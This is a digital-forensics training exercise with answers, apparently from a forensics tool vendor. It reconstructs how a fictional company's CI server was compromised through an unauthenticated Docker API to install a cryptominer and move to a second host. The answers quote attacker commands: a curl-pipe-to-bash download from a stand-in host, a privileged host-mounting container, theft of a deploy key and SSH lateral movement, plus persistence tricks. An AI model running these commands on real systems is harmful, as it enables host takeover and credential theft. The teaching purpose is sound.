Kestrel Analytics: a cryptominer through an open Docker API
A CI server exposes the Docker API to the internet. Within two minutes of being found, a container mounts the host, installs a miner with three kinds of persistence, steals a deploy key and moves to the application server.
The brief
Kestrel Analytics is a fictional analytics company with a small platform team. On 2026-11-26 at 04:20 UTC their monitoring raised NodeExporterDown for build01. Over the next two days the team noticed CPU pinned near 100% on build01 and app01.
An SRE logged in on 2026-11-28, looked at the processes, and had both hosts imaged at 10:40 UTC. The images were collected with Arcsentry Collector's offline triage profile plus the Docker on-disk target.
Your job: decide whether the hosts were compromised, and if so, how, by whom (as far as the evidence shows), what was changed, and what the team must fix.
Evidence window: 2026-11-12 00:00 to 2026-11-28 10:40 UTC.
Download
| Host | Role | Download | Size | SHA-256 |
|---|---|---|---|---|
build01 | CI server, Docker, Ubuntu 24.04 | build01.arcx | 191 KB | 3d7d9eee0a55e9413896036823201109e0a670441cf3403b8de889fba588d052 |
app01 | Application server, Docker, Ubuntu 24.04 | app01.arcx | 178 KB | 0864cafc6d0a5a36fffdbe229a9b58c65d38cac412483294ee7f5a74dcf52900 |
Archive password: KestrelIR-2026
# Linux and macOS
sha256sum build01.arcx app01.arcx
# Windows PowerShell
Get-FileHash .\build01.arcx, .\app01.arcx -Algorithm SHA256 Load the archives with lesson 3.2. These were collected from disk images, so name each one after its host and choose Linux as the platform.
Questions
Work them in order; each builds on the one before. Every answer below cites where in the evidence it comes from, so you can check your reasoning, not just your conclusion.
-
How did the attacker first get code running on build01, and when?
Show the answer
Through the Docker Engine API, listening without TLS on tcp/2375. A scanner at 198.51.100.77 connected to port 2375 at 03:41:12 UTC on 2026-11-26 and again at 03:43:05. At 03:43:06 a container named elated_noether (alpine:3.20) was created with the host's root mounted at /host, running chroot /host bash -c "curl -fsSL http://198.51.100.88/k.sh | bash".
Where: kern.log firewall lines (Syslog), Docker Container Configuration, Linux auditd
-
Why was the Docker API reachable, and since when?
Show the answer
daemon.json lists tcp://0.0.0.0:2375 as a host. The file and a systemd override that clears dockerd's default listener were changed on 2026-10-09 around 16:22 UTC. dockerd warns on every start that binding without --tlsverify gives root to anyone on the network; the warning is in syslog on 2026-11-19 at 06:29:30. The sre user's shell history shows the edit (sudo vi /etc/docker/daemon.json) and a test against localhost:2375.
Where: Etc / file system timeline, Syslog, Command History
-
What did the downloader do on build01? List the steps in order.
Show the answer
From 03:43:09: fetched k.sh to /tmp/.k.sh and ran it; killed competing miners (kinsing, xmrig, kdevtmpfsi); created /usr/local/lib/.cache and downloaded kworkerds and config.json into it; stopped and disabled node-exporter (03:43:49, which is why the NodeExporterDown alert fired); enabled and started kworker-update.service (03:43:56); started the miner (03:43:57); made /etc/cron.d/kworker immutable with chattr +i (03:44:01); deleted /tmp/.k.sh (03:44:07).
Where: Linux auditd (execve records with arguments)
-
What persistence did the attacker leave? Name every mechanism.
Show the answer
Three on each host: the systemd service kworker-update.service (Restart=always) running /usr/local/lib/.cache/kworkerds; the cron file /etc/cron.d/kworker that restarts the miner every 10 minutes, made immutable; and an extra SSH key (comment root@build) in /root/.ssh/authorized_keys.
Where: Linux systemd Units, Cron Jobs, SSH Authorized Keys
-
Where did the miner connect, and how often?
Show the answer
To 203.0.113.140 on port 4444, logged by the host firewall as outbound connections every 4 to 11 minutes from 03:43:58 until the host was imaged: 403 connections on build01.
Where: kern.log firewall lines (Syslog)
-
Were any credentials taken on build01?
Show the answer
Yes. At 03:56:40 root read /home/ci/deploy.sh, at 03:57:02 the ci user's known_hosts, and at 03:57:20 copied the ci deploy key (/home/ci/.ssh/id_ed25519) to /root/.ssh/.ci.
Where: Linux auditd, file system timeline
-
Did the attacker move to another host? How?
Show the answer
Yes, to app01. At 03:58:11 build01 ran ssh -i /root/.ssh/.ci [email protected]. app01 accepted a public-key login for ci from 10.40.2.11 at 03:58:12. That looks like the normal deploy logins, except that it falls at night and is followed by id, docker ps and docker images. Because ci is in the docker group, at 04:03:07 it ran docker run --rm --privileged -v /:/host alpine:3.20 with the same chroot and downloader, and the miner and persistence were installed on app01 from 04:03:11.
Where: Linux auditd and Linux PAM on both hosts, Docker Container Configuration on app01
-
What must the team fix, beyond removing the miner?
Show the answer
Close the Docker API listener (or require mutual TLS) and firewall 2375; rotate the ci deploy key and restrict it (from= and a forced command); take ci out of the docker group on app01, since docker group membership is root; remove the attacker's SSH key; and rebuild both hosts rather than clean them, since root was obtained on each.
Where: Your conclusions from the answers above
What the evidence cannot show
A good report says where its certainty ends. These are the limits we would expect in yours:
- The downloader script and the miner binary are not in the collection; only their paths, sizes and times are (file system timeline).
- The pool name in the miner's config.json was not collected; the firewall log shows only the address and port.
- Nothing shows who operated the scanner, or what the deploy key may have been used for outside these two hosts.
About this evidence
The company, hosts and people are fictional. We generated the hosts' file systems and logs in our lab in real formats, built them into disk images, and collected them with Arcsentry Collector. Outside addresses are documentation ranges (RFC 5737) and domains end in .example, so nothing points at a real system. No real malware is included.
See it on your own evidence. Free for 7 days.
Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.
Request a trial